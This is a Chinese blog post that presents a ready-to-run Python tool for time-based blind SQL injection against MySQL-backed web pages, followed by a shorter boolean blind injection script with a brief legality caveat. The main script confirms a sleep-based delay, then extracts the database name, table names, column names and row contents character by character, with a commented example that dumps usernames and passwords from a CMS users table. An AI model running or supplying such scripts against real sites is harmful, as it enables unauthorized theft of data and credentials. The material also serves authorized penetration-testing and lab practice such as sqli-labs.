sql注入:延时注入python万能脚本

6 篇文章 0 订阅
2 篇文章 0 订阅

sql注入:延时注入python脚本

import requests
import binascii
def judgment_delay(complete_url):
    headers={
        "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36"
    }
    try:
        requests.get(url=complete_url,headers=headers,timeout=3)
    except requests.exceptions.ReadTimeout:
        return "time out"
    else:
        return "normal"
def judgment_exploit(url):
    payload=" and sleep(6) #"
    complete_url=url+payload
    num=judgment_delay(complete_url)
    if "time out" in num:
        print("[+] 存在延迟漏洞")
    else:
        exit("[-] 不存在延迟漏洞")

def content(url,need_boom,table_name):
    num=len(need_boom)
    for j in range(0,100):
        if j==0:
            print("[+] 爆破字段内容模块启动成功")
            print("[+] 小脑瓜在飞速运作中请稍等.....")
        flag=0
        mh=0
        for k in need_boom:
            print("-------------------------------------------------------------------------------------------------------------------------------------")
            mh+=1
            for l in range(1,100):
                flag1=0
                for m in range(20,127):
                    payload=f" and if(ascii(substr((select {k} from {table_name} limit {j},1),{l},1))={m},sleep(5),1)"
                    complete_url = url + payload
                    if judgment_delay(complete_url) == "time out":
                        print(chr(m), end="")
                        flag=1
                        flag1=1
                        break
                if flag1==0 and l>100:
                    exit("[+] 爆破结束结束感谢使用")
                elif flag1==0:
                    break
            if mh<num and flag==1 :
                print(':',end="")
            print("--------------------------------------------------------------------------------------------------------------------------------------")
        if flag == 0:
            break


def column_name(url,table_name,table):
    print("[+] 爆破字段名模块启动成功")
    print("[+] 一拳超人正在蓄力中....")
    column_name_list=[]
    for i in range(0, 100):
        column_name = ""
        print(f"[{i + 1}]:", end="")
        flag = 0
        for j in range(1, 100):
            flag1 = 0
            for k in range(20, 127):
                payload = f" and if(ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name={table_name} limit {i},1),{j},1))={k},sleep(5),1) "
                complete_url = url + payload
                if judgment_delay(complete_url) == "time out":
                    print(chr(k), end="")
                    column_name += chr(k)
                    flag1 = 1
                    flag = 1
                    break
            if flag1 == 0:
                break
        if flag == 0:
            break
        column_name_list.append(column_name)
        print('\r')
    print("\r")
    if input("是否要爆破字段里的内容(y/n):")=="y" or "Y" :
        num=int(input("请输入要爆破的字段个数:"))
        need_boom=[]
        for i in range(0,num):
            need_boom.append(column_name_list[int(input("请输入要爆破的字段序号:"))-1])
        table_name=table
        content(url,need_boom,table_name)

def table_name(url):
    table_name_list=[]
    for i in range(0,100):
        table_name=""
        print(f"[{i+1}]:",end="")
        flag=0
        for j in range(1,100):
            flag1=0
            for k in range(20,127):
                payload=f" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{j},1))={k},sleep(5),1)"
                complete_url=url+payload
                if  judgment_delay(complete_url) == "time out":
                    print(chr(k),end="")
                    table_name+=chr(k)
                    flag1=1
                    flag=1
                    break
            if flag1==0:
                break
        print('\r')
        if flag ==0:
            break
        table_name_list.append(table_name)
    if input("是否爆破字段?(y/n):") == "y" or "Y":
        table=table_name_list[int(input("请输入要爆破哪张表里的字段的序号:"))-1]
        table_name = "0x" + binascii.hexlify(table.encode()).decode()
        column_name(url,table_name,table)
    else:
        exit("good bey")


def database_name(url,length):
    print("[+] 鸽鸽正在下蛋中......")
    database_name=""
    print("[+] 数据库名",end=":")
    for  i in range(1,length+1):
        for j in range(20,127):
            payload= f" and if(ascii(substr(database(),{i},1))={j},sleep(5),1) --+"
            conplete_url=url+payload
            if "time out" in judgment_delay(conplete_url):
                database_name+=chr(j)
                print(chr(j),end="")
                break
    print('\n')
    if input("是否爆破表名?(y/n):") == "y" or "Y" :
        print("[+] 小脑瓜正在飞速运转中...")
        table_name(url)
    else:
        exit("感谢使用!")

def database_length ():
    length=0
    url=input("请输入url:")
    judgment_exploit(url)
    print("正在计算长度...")
    for i in range(1,1000):
        payload=f" and if (length(database())={i},sleep(5),1)"
        conplete_url=url+payload
        if  "time out" in judgment_delay(conplete_url):
            length=i
            break
    print("[+] 数据库名的长度为:",length)
    if input("是否爆破库名? (Y/N):") == 'y' or  'Y':
        database_name(url,length)
    else:
        exit()
print("""
            _   _____       _                      _   _       _           _   _             
           | | |  __ \     | |                    | | (_)     (_)         | | (_)            
  ___  __ _| | | |  | | ___| | __ _ _   _  ___  __| |  _ _ __  _  ___  ___| |_ _  ___  _ __  
 / __|/ _` | | | |  | |/ _ \ |/ _` | | | |/ _ \/ _` | | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ 
 \__ \ (_| | | | |__| |  __/ | (_| | |_| |  __/ (_| | | | | | | |  __/ (__| |_| | (_) | | | |
 |___/\__, |_| |_____/ \___|_|\__,_|\__, |\___|\__,_| |_|_| |_| |\___|\___|\__|_|\___/|_| |_|
         | |                         __/ |                   _/ |                            
         |_|                        |___/                   |__/                             
                                                                                                                --- xl
        延时注入脚本
        使用方法 
        python3 delay_injection.py http://127.0.0.1:8080/Less-1/?id
        help:
            url=http://ip/cms/show.php?id=33        
""")
# l=["username","password"]
# content(url="http://10.9.47.77/cms/show.php?id=33",need_boom=l,table_name='cms_users')

try:
    database_length()
except requests.exceptions.MissingSchema:
    exit("[-] 启动失败请检测url是否正确")
except NameError:
    exit("[-] 启动失败请检测环境是否正确")
except KeyboardInterrupt:
    exit("[-] 用户结束脚本")
except Exception:
    exit("[-] 用户操作错误")

效果:
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种常见的安全漏洞,它允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的操作。而盲注是一种特殊类型的SQL注入攻击,攻击者无法直接获取数据库的具体信息,但可以通过不断尝试不同的条件来判断是否存在漏洞。 下面是一个使用Python编写的简单SQL注入盲注脚本的示例: ```python import requests def check_vulnerable(url): payload = "' OR 1=1 --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: return True else: return False def exploit_blind(url): result = "" characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" while True: found = False for char in characters: payload = "' OR SUBSTRING((SELECT database()), 1, 1) = '" + char + "' --" response = requests.get(url + "?id=" + payload) if "Welcome" in response.text: result += char found = True break if not found: break return result # 示例使用方法 url = "http://example.com/vulnerable_page" if check_vulnerable(url): database_name = exploit_blind(url) print("数据库名称:", database_name) else: print("目标网站不易受SQL注入攻击") ``` 上述脚本中,`check_vulnerable`函数用于检测目标网站是否易受SQL注入攻击,它通过在URL中插入特定的payload来判断是否存在漏洞。`exploit_blind`函数用于利用盲注漏洞获取数据库名称,它通过不断尝试不同的字符来逐个获取数据库名称的每个字符。 请注意,上述脚本仅为示例,实际使用时需要根据具体情况进行修改和扩展,同时要遵循法律和道德规范,仅在合法授权的范围内使用。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值